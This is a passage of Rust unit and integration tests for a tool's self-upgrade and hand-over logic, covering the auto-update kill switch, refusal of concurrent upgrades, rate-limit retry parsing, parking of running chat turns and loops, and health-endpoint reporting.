21624 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21625 last_known_latest: None,
21626 last_known_url: None,
21627 };
21628 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
21629
21630 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21631 assert!(
21632 !update_recheck_due(&checker, None),
21633 "a check made moments ago must not be repeated before the \
21634 configured interval elapses"
21635 );
21636 }
21637
21638 #[test]
21644 fn recheck_defers_to_an_upgrade_already_in_flight() {
21645 let dir = TempDir::new().expect("temp dir");
21646 let path = dir.path().join("state.json");
21647 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
21648 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
21649
21650 assert!(
21651 !update_recheck_due(&checker, Some(&progress)),
21652 "a recheck must not run while an upgrade this deck started is \
21653 still moving"
21654 );
21655 }
21656
21657 #[tokio::test]
21658 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
21659 unsafe {
21671 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21672 }
21673 let fx = Fixture::start().await;
21674 let res = fx.post("/api/upgrade", None).await;
21675 unsafe {
21676 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21677 }
21678 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21679 let body = res.json();
21680 assert!(body["to"].is_null(), "there was no release to move to");
21681 assert!(body["parked"].is_null(), "and nothing was parked");
21682 assert!(
21683 body["detail"]
21684 .as_str()
21685 .unwrap()
21686 .contains("disabled by MAGI_NO_AUTOUPDATE"),
21687 "{body:?}"
21688 );
21689 }
21690
21691 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
21692 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
21693 p.stage = stage;
21694 p
21695 }
21696
21697 #[test]
21698 fn busy_stages_match_the_ui_set() {
21699 use crate::updater::Stage;
21700 assert!(APP_JS.contains(
21701 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
21702 ));
21703 for s in [
21704 Stage::Downloading,
21705 Stage::Replaced,
21706 Stage::Parking,
21707 Stage::Restarting,
21708 ] {
21709 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
21710 }
21711 for s in [Stage::Done, Stage::Failed] {
21712 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
21713 }
21714 assert!(upgrade_in_motion(None).is_none());
21715 }
21716
21717 #[tokio::test]
21718 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
21719 use crate::updater::Stage;
21720 for stage in [
21721 Stage::Downloading,
21722 Stage::Replaced,
21723 Stage::Parking,
21724 Stage::Restarting,
21725 ] {
21726 let fx = Fixture::start().await;
21727 let seeded = seeded_progress(stage);
21728 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
21729 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21730 .expect("read");
21731
21732 let res = fx.post("/api/upgrade", None).await;
21733 assert_eq!(res.status, 409, "{stage:?}");
21734 let err = res.json()["error"].as_str().unwrap().to_owned();
21735 assert!(err.contains("already in progress"), "{err}");
21736 assert!(err.contains(stage.as_str()), "{err}");
21737
21738 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21739 .expect("read");
21740 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
21741 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
21742 .unwrap_or_default();
21743 assert!(!log.contains("signalling HANDOVER"), "{log}");
21744 }
21745 }
21746
21747 #[test]
21748 fn upgrade_retry_timing_only_parses_known_diagnostics() {
21749 assert_eq!(
21750 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
21751 Some(3723)
21752 );
21753 assert_eq!(
21754 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
21755 Some(60)
21756 );
21757 assert_eq!(
21758 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
21759 Some(0)
21760 );
21761 for message in [
21762 "permission denied",
21763 "GitHub API rate limit exceeded",
21764 "GitHub rate limit (resets in unknown)",
21765 "GitHub rate limit (resets in 18446744073709551615d)",
21766 ] {
21767 assert_eq!(upgrade_retry_after(message), None, "{message}");
21768 }
21769 }
21770
21771 #[tokio::test]
21772 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
21773 let home = TempDir::new().unwrap();
21774 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
21775 ui.start_loop(None).unwrap();
21776 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
21777 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
21778 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
21779 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
21780 let response = finish_upgrade_request(&ui, result);
21781 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
21782 assert_eq!(response.headers()["retry-after"], "120");
21783 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
21784 .await
21785 .unwrap();
21786 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
21787 assert!(body["error"].as_str().unwrap().contains(reason));
21788 assert_eq!(body["retry_after_secs"], 120);
21789 assert!(body["retry_at"].as_u64().is_some());
21790 for _ in 0..2 {
21791 let view = health(State(ui.clone())).await.unwrap().0;
21792 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
21793 assert_eq!(failure, body);
21794 }
21795 assert_eq!(
21796 std::fs::read(updater::progress_path(home.path())).unwrap(),
21797 before
21798 );
21799 assert!(!ui.lock_loop().resume_after_handover);
21800 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
21801 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
21802 let gate = ui.upgrade_gate.lock().await;
21804 assert_eq!(
21805 upgrade_post(State(ui.clone())).await.status(),
21806 StatusCode::CONFLICT
21807 );
21808 drop(gate);
21809 assert!(
21810 health(State(ui.clone()))
21811 .await
21812 .unwrap()
21813 .0
21814 .upgrade_request_error
21815 .is_some()
21816 );
21817 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
21818 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
21819 assert!(
21820 health(State(ui.clone()))
21821 .await
21822 .unwrap()
21823 .0
21824 .upgrade_request_error
21825 .is_none()
21826 );
21827 let live = ui.lock_loop().live.take().unwrap();
21828 live.stop.stop();
21829 live.handle.await.unwrap();
21830 }
21831
21832 #[tokio::test]
21833 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
21834 use crate::updater::Stage;
21835 let repo = TempDir::new().expect("repo dir");
21836 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21837 .expect("write magi.toml");
21838 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21839 for stage in [Stage::Done, Stage::Failed] {
21840 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
21841 let res = fx.post("/api/upgrade", None).await;
21842 assert_eq!(res.status, 200, "{stage:?}");
21843 }
21844 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
21846 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
21847 }
21848
21849 #[tokio::test]
21850 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
21851 let repo = TempDir::new().expect("repo dir");
21867 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21868 .expect("write magi.toml");
21869 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21870
21871 let res = fx.post("/api/upgrade", None).await;
21877 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21878 let body = res.json();
21879 assert!(body["to"].is_null(), "there was no release to move to");
21880 assert!(body["parked"].is_null(), "and nothing was parked");
21881 assert!(
21882 body["detail"]
21883 .as_str()
21884 .unwrap()
21885 .contains("nothing restarted"),
21886 "{body:?}"
21887 );
21888 }
21889
21890 #[tokio::test]
21891 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
21892 let repo = TempDir::new().expect("repo dir");
21897 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21898 .expect("write magi.toml");
21899 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21900
21901 let health = fx.get("/api/health").await.json();
21902 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
21903 assert_eq!(
21904 health["update"]["available"], false,
21905 "checking is off, which reads as \"unknown\", not \"none\""
21906 );
21907 assert!(health["update"]["to"].is_null());
21908 assert!(
21909 health["upgrade"].is_null(),
21910 "nothing has ever asked this deck to upgrade"
21911 );
21912 }
21913
21914 #[tokio::test]
21915 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
21916 let fx = Fixture::start().await;
21917 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
21918
21919 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21920 progress.parked_run = Some("20260905-000000-cd51".to_owned());
21921 progress.advance(crate::updater::Stage::Parking);
21922 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21923
21924 let health = fx.get("/api/health").await.json();
21925 assert_eq!(health["upgrade"]["stage"], "parking");
21926 assert_eq!(health["upgrade"]["from"], "0.5.1");
21927 assert_eq!(health["upgrade"]["to"], "0.5.2");
21928 let waiting_on = health["upgrade"]["waiting_on"]
21929 .as_str()
21930 .expect("waiting_on is set while parking a known run");
21931 assert!(waiting_on.contains("cd51"), "{waiting_on}");
21932 assert!(waiting_on.contains("implementing"), "{waiting_on}");
21933 }
21934
21935 #[tokio::test]
21936 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
21937 let fx = Fixture::start().await;
21938 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21939 progress.advance(crate::updater::Stage::Done);
21940 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21941
21942 let health = fx.get("/api/health").await.json();
21943 assert_eq!(health["upgrade"]["stage"], "done");
21944 assert!(
21945 health["upgrade"]["waiting_on"].is_null(),
21946 "nothing to wait on once it is done"
21947 );
21948 }
21949
21950 #[tokio::test]
21951 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
21952 let home = TempDir::new().expect("temp home");
21953 let runs = home.path().join("runs");
21954 std::fs::create_dir_all(&runs).expect("runs dir");
21955 let ui = Ui::new(
21956 Queue::at(home.path().join("queue")),
21957 Questions::at(home.path().join("questions")),
21958 Talks::at(home.path().join("talks")),
21959 runs,
21960 home.path().to_path_buf(),
21961 PathBuf::from("/repo/magi"),
21962 )
21963 .with_launch(launch_idle);
21964 let looping = ui.looping();
21965 let turns = ui.turns();
21966 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21967 .await
21968 .expect("bind loopback");
21969 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21970
21971 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21972 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21973
21974 hand_over(
21975 home.path(),
21976 &looping,
21977 &turns,
21978 &|_: &[String]| Duration::from_secs(5),
21979 served,
21980 |_| Ok(1),
21981 )
21982 .await
21983 .expect("hand over");
21984
21985 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
21986 assert_eq!(
21987 after.stage,
21988 crate::updater::Stage::Restarting,
21989 "hand_over owns the record through parking and up to restarting; \
21990 the successor is what finishes it"
21991 );
21992 }
21993
21994 #[tokio::test]
21997 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
21998 for fail in [false, true] {
21999 let home = TempDir::new().expect("temp home");
22000 let ui = idle_ui(&home);
22001 let looping = ui.looping();
22002 let turns = ui.turns();
22003 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22004 .await
22005 .expect("bind loopback");
22006 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22007 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22008 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
22009
22010 let calls = std::sync::atomic::AtomicUsize::new(0);
22011 let outcome = hand_over(
22012 home.path(),
22013 &looping,
22014 &turns,
22015 &|_: &[String]| Duration::from_secs(5),
22016 served,
22017 |_| {
22018 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22019 if fail {
22020 anyhow::bail!("no exec")
22021 } else {
22022 Ok(4242)
22023 }
22024 },
22025 )
22026 .await;
22027 assert_eq!(outcome.is_err(), fail);
22028 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22029
22030 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
22031 .expect("upgrade.log is written under the home");
22032 for step in [
22033 "entered",
22034 "finish_loop",
22035 "listener released",
22036 "starting the successor",
22037 ] {
22038 assert!(log.contains(step), "missing `{step}` in:\n{log}");
22039 }
22040 assert!(
22041 log.contains(if fail { "did not start" } else { "pid 4242" }),
22042 "{log}"
22043 );
22044 }
22045 }
22046
22047 #[tokio::test]
22050 async fn the_handover_signal_wakes_one_waiter_once() {
22051 let signal = Notify::new();
22052 signal.notify_one();
22054 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
22055 .await
22056 .expect("an early signal is still seen");
22057 assert!(
22059 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
22060 .await
22061 .is_err(),
22062 "a consumed signal must not wake a second time"
22063 );
22064 let signal = std::sync::Arc::new(signal);
22066 let waiter = tokio::spawn({
22067 let signal = std::sync::Arc::clone(&signal);
22068 async move { wait_for_handover(&signal).await }
22069 });
22070 tokio::time::sleep(Duration::from_millis(20)).await;
22071 assert!(!waiter.is_finished(), "nothing was signalled yet");
22072 signal.notify_one();
22073 tokio::time::timeout(Duration::from_secs(5), waiter)
22074 .await
22075 .expect("a late signal wakes the waiter")
22076 .expect("join");
22077 }
22078
22079 #[tokio::test]
22080 async fn health_says_how_long_a_handover_has_been_stuck() {
22081 let fx = Fixture::start().await;
22082 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22083 progress.advance(crate::updater::Stage::Replaced);
22084 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
22085 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22086
22087 let health = fx.get("/api/health").await.json();
22088 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
22089 assert!(stuck >= 600, "{stuck}");
22090 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
22091 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
22092 }
22093
22094 #[tokio::test]
22095 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
22096 let home = tempfile::tempdir().expect("temp home");
22097 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22098 progress.advance(crate::updater::Stage::Parking);
22099 crate::updater::write_progress(home.path(), &progress).expect("seed");
22100 let mut again = progress.clone();
22102 again.advance(crate::updater::Stage::Replaced);
22103 crate::updater::write_progress(home.path(), &again).expect("replaced");
22104 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22105 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
22106 let after = crate::updater::read_progress(home.path()).expect("record");
22107 assert_eq!(after.stage, crate::updater::Stage::Parking);
22108 }
22109
22110 #[tokio::test]
22111 async fn health_does_not_call_a_live_parking_wait_stuck() {
22112 let fx = Fixture::start().await;
22113 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22114 progress.parked_run = Some("20260905-000000-cd51".to_owned());
22115 progress.advance(crate::updater::Stage::Parking);
22116 let hours = Duration::from_secs(3 * 3600);
22117 progress.started_at = Timestamp::now() - hours;
22118 progress.updated_at = Timestamp::now() - hours;
22119 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22120 let _lease = crate::updater::LeaseGuard::enter(
22121 fx.home.path(),
22122 Some("20260905-000000-cd51".to_owned()),
22123 );
22124
22125 let health = fx.get("/api/health").await.json();
22126 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22127 assert!(health["upgrade"]["stuck_kind"].is_null());
22128 assert_eq!(health["upgrade"]["handover_alive"], true);
22129 let waiting_on = health["upgrade"]["waiting_on"]
22130 .as_str()
22131 .expect("waiting_on");
22132 assert!(waiting_on.contains("cd51"), "{waiting_on}");
22133 }
22134
22135 fn idle_ui(home: &TempDir) -> Ui {
22136 let runs = home.path().join("runs");
22137 std::fs::create_dir_all(&runs).expect("runs dir");
22138 Ui::new(
22139 Queue::at(home.path().join("queue")),
22140 Questions::at(home.path().join("questions")),
22141 Talks::at(home.path().join("talks")),
22142 runs,
22143 home.path().to_path_buf(),
22144 PathBuf::from("/repo/magi"),
22145 )
22146 .with_launch(launch_idle)
22147 }
22148
22149 async fn park_fixture(
22150 home: &TempDir,
22151 ) -> (
22152 Ui,
22153 Arc<Mutex<LoopState>>,
22154 Arc<Mutex<TalkTurns>>,
22155 tokio::task::JoinHandle<std::io::Result<()>>,
22156 ) {
22157 let ui = idle_ui(home);
22158 let looping = ui.looping();
22159 let turns = ui.turns();
22160 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22161 .await
22162 .expect("bind loopback");
22163 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22164 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22165 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
22166 (ui, looping, turns, served)
22167 }
22168
22169 #[tokio::test]
22173 async fn hand_over_waits_for_a_running_chat_turn() {
22174 let home = TempDir::new().expect("temp home");
22175 let (ui, looping, turns, served) = park_fixture(&home).await;
22176 let ui = Arc::new(ui);
22177 let id = "20260901-000000-chat";
22178 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22179
22180 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22181 let handover = tokio::spawn({
22182 let home = home.path().to_path_buf();
22183 let turns = Arc::clone(&turns);
22184 let calls = Arc::clone(&calls);
22185 async move {
22186 hand_over(
22187 &home,
22188 &looping,
22189 &turns,
22190 &|_: &[String]| Duration::from_secs(60),
22191 served,
22192 move |_| {
22193 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22194 Ok(1)
22195 },
22196 )
22197 .await
22198 }
22199 });
22200
22201 let waiting = async {
22202 for _ in 0..200 {
22203 if crate::updater::read_progress(home.path())
22204 .is_some_and(|p| p.parked_talks == [id.to_owned()])
22205 {
22206 return;
22207 }
22208 tokio::time::sleep(Duration::from_millis(25)).await;
22209 }
22210 panic!("the park never named the chat turn");
22211 };
22212 waiting.await;
22213 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22214
22215 let refused = ui.begin_talk_turn("20260901-000000-late").err();
22218 assert!(
22219 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22220 "a direct start says an upgrade is in progress"
22221 );
22222 assert!(
22223 ui.begin_queued_talk_turn("20260901-000000-late")
22224 .expect("queued claim")
22225 .is_none()
22226 );
22227 assert!(matches!(
22228 ui.begin_talk_turn_unless_pending("20260901-000000-late")
22229 .expect("start"),
22230 TalkTurnStart::Busy
22231 ));
22232 assert_eq!(turns.lock().unwrap().live.len(), 1);
22233
22234 let progress = crate::updater::read_progress(home.path()).expect("progress");
22236 let view = upgrade_progress_view(&ui, progress);
22237 assert!(
22238 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
22239 "{:?}",
22240 view.waiting_on
22241 );
22242
22243 assert!(!handover.is_finished());
22244 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22245 drop(turn);
22246 handover.await.expect("join").expect("hand over");
22247 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22248 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22249 }
22250
22251 #[tokio::test]
22254 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
22255 let home = TempDir::new().expect("temp home");
22256 let (ui, looping, turns, served) = park_fixture(&home).await;
22257 let ui = Arc::new(ui);
22258 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
22260 lock_or_recover(&looping).live = Some(Live {
22261 stop: daemon::Stop::new(),
22262 handle: tokio::spawn(async move {
22263 let _ = loop_ended.await;
22264 }),
22265 opts: daemon::Opts::default(),
22266 });
22267
22268 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22269 let handover = tokio::spawn({
22270 let home = home.path().to_path_buf();
22271 let turns = Arc::clone(&turns);
22272 let calls = Arc::clone(&calls);
22273 async move {
22274 hand_over(
22275 &home,
22276 &looping,
22277 &turns,
22278 &|_: &[String]| Duration::from_secs(60),
22279 served,
22280 move |_| {
22281 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22282 Ok(1)
22283 },
22284 )
22285 .await
22286 }
22287 });
22288
22289 let reached = async {
22290 for _ in 0..200 {
22291 if crate::updater::read_progress(home.path())
22292 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
22293 {
22294 return;
22295 }
22296 tokio::time::sleep(Duration::from_millis(25)).await;
22297 }
22298 panic!("the hand-over never reached parking");
22299 };
22300 reached.await;
22301
22302 assert!(!turns.lock().unwrap().parking);
22304 let turn = ui
22305 .begin_talk_turn("20260901-000000-chat")
22306 .expect("claim")
22307 .expect("a turn can start while the loop parks");
22308
22309 end_loop.send(()).expect("loop still waiting");
22311 for _ in 0..200 {
22312 if turns.lock().unwrap().parking {
22313 break;
22314 }
22315 tokio::time::sleep(Duration::from_millis(25)).await;
22316 }
22317 assert!(
22318 turns.lock().unwrap().parking,
22319 "closed once the loop is done"
22320 );
22321 let refused = ui.begin_talk_turn("20260901-000000-late").err();
22322 assert!(
22323 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22324 "no turn starts once the loop is done"
22325 );
22326 assert!(
22327 ui.begin_queued_talk_turn("20260901-000000-late")
22328 .expect("queued claim")
22329 .is_none()
22330 );
22331 assert!(!handover.is_finished());
22332 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22333
22334 drop(turn);
22335 handover.await.expect("join").expect("hand over");
22336 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22337 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22338 }
22339
22340 #[tokio::test]
22343 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
22344 let home = TempDir::new().expect("temp home");
22345 let (ui, looping, turns, served) = park_fixture(&home).await;
22346 let id = "20260901-000000-stuk";
22347 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22348
22349 let calls = std::sync::atomic::AtomicUsize::new(0);
22350 hand_over(
22351 home.path(),
22352 &looping,
22353 &turns,
22354 &|_: &[String]| Duration::from_millis(300),
22355 served,
22356 |_| {
22357 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22358 Ok(1)
22359 },
22360 )
22361 .await
22362 .expect("hand over");
22363 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22364
22365 let progress = crate::updater::read_progress(home.path()).expect("progress");
22366 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
22367 assert!(
22368 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
22369 "{:?}",
22370 progress.detail
22371 );
22372 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
22373 assert!(
22374 log.contains("handing over anyway") && log.contains(id),
22375 "{log}"
22376 );
22377 }
22378
22379 #[tokio::test]
22382 async fn drain_loop_starts_no_turn_while_parking() {
22383 let tmp = TempDir::new().expect("tempdir");
22384 let repo = tmp.path().join("repo");
22385 std::fs::create_dir_all(&repo).expect("repo dir");
22386 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
22387 let home = TempDir::new().expect("temp home");
22388 let talks = Talks::at(home.path().join("talks"));
22389 let ui = Ui::new(
22390 Queue::at(home.path().join("queue")),
22391 Questions::at(home.path().join("questions")),
22392 talks.clone(),
22393 home.path().join("runs"),
22394 home.path().to_path_buf(),
22395 repo.clone(),
22396 )
22397 .with_worktrees_root(home.path().join("wt"));
22398 let cfg = config_for(&repo).await.expect("discover config");
22399 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
22400 let id = talk.id.clone();
22401 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
22402 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
22403 let turns = ui.turns();
22404 let parking = ParkingTurns::begin(&turns);
22405
22406 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
22407
22408 assert!(
22409 turns.lock().unwrap().live.is_empty(),
22410 "the slot is given up"
22411 );
22412 let fresh = talks.get(&id).expect("talk");
22413 assert_eq!(fresh.pending, "later", "the draft is still queued");
22414 assert!(fresh.turns.is_empty(), "no turn ran");
22415 drop(parking);
22416 }
22417
22418 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
22420 let looping = ui.looping();
22421 let turns = ui.turns();
22422 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22423 .await
22424 .expect("bind loopback");
22425 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22426 let told = std::sync::Mutex::new(None);
22427 hand_over(
22428 home.path(),
22429 &looping,
22430 &turns,
22431 &|_: &[String]| Duration::from_secs(5),
22432 served,
22433 |resume| {
22434 *told.lock().unwrap() = Some(resume);
22435 Ok(1)
22436 },
22437 )
22438 .await
22439 .expect("hand over");
22440 told.into_inner().unwrap().expect("successor was started")
22441 }
22442
22443 #[tokio::test]
22444 async fn a_running_loop_is_resumed_by_the_successor() {
22445 let home = TempDir::new().expect("temp home");
22446 let ui = idle_ui(&home);
22447 ui.start_loop(None).expect("start");
22448 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22449 for _ in 0..500 {
22451 if !ui.loop_view(None).running {
22452 break;
22453 }
22454 tokio::time::sleep(Duration::from_millis(2)).await;
22455 }
22456 assert!(handed_over(&home, ui).await, "a running loop must resume");
22457
22458 let successor = idle_ui(&home);
22459 assert!(!successor.loop_view(None).running);
22460 assert!(successor.resume_after_handover(true));
22461 assert!(successor.loop_view(None).running);
22462 successor.stop_loop(None, false).expect("stop");
22463 }
22464
22465 #[tokio::test]
22466 async fn a_second_upgrade_request_keeps_the_resume_intent() {
22467 let home = TempDir::new().expect("temp home");
22468 let ui = idle_ui(&home);
22469 ui.start_loop(None).expect("start");
22470 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22471 .expect("first park");
22472 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22473 .expect("second park");
22474 assert!(handed_over(&home, ui).await);
22475 }
22476
22477 #[tokio::test]
22478 async fn a_stop_during_the_handover_wait_is_honoured() {
22479 let home = TempDir::new().expect("temp home");
22480 let ui = idle_ui(&home);
22481 ui.start_loop(None).expect("start");
22482 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22483 ui.stop_loop(None, false).expect("stop");
22484 assert!(!handed_over(&home, ui).await);
22485 }
22486
22487 #[tokio::test]
22488 async fn an_idle_loop_stays_stopped_across_the_handover() {
22489 let home = TempDir::new().expect("temp home");
22490 let ui = idle_ui(&home);
22491 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22492 assert!(!handed_over(&home, ui).await);
22493
22494 let successor = idle_ui(&home);
22495 assert!(!successor.resume_after_handover(false));
22496 assert!(!successor.loop_view(None).running);
22497 }
22498
22499 #[tokio::test]
22500 async fn a_loop_the_operator_stopped_is_not_resumed() {
22501 let home = TempDir::new().expect("temp home");
22502 let ui = idle_ui(&home);
22503 ui.start_loop(None).expect("start");
22504 ui.stop_loop(None, false).expect("stop");
22505 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22506 assert!(!handed_over(&home, ui).await);
22507 }
22508
22509 #[test]
22510 fn only_an_explicit_one_requests_a_resume() {
22511 assert!(!resume_requested(None));
22512 assert!(!resume_requested(Some("0".into())));
22513 assert!(!resume_requested(Some("".into())));
22514 assert!(resume_requested(Some("1".into())));
22515 }
22516
22517 #[test]
22518 fn the_upgrade_button_arms_before_it_restarts_anything() {
22519 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
22522 assert!(APP_JS.contains("Replace the binary and restart?"));
22523 assert!(APP_JS.contains("function confirmed("));
22524 assert!(APP_JS.contains("show(upgradeBtn, canUpgrade)"));
22529 assert!(
22533 APP_JS.contains("Parking, then restarting"),
22534 "the button says what it is waiting for"
22535 );
22536 assert!(APP_JS.contains("if (!out.to)"));
22539 }
22540
22541 #[test]
22542 fn stopping_the_loop_arms_but_starting_does_not() {
22543 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
22546 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
22547 assert!(APP_JS.contains("confirmed(button, question)"));
22548 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
22551 assert!(APP_JS.contains("const label = btn.textContent;"));
22552 assert!(!APP_JS.contains("Neither direction is guarded"));
22553 }
22554
22555 #[test]
22556 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
22557 assert!(
22558 APP_JS.contains("state.health.version"),
22559 "the operator wants to know what is running even with nothing newer"
22560 );
22561 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
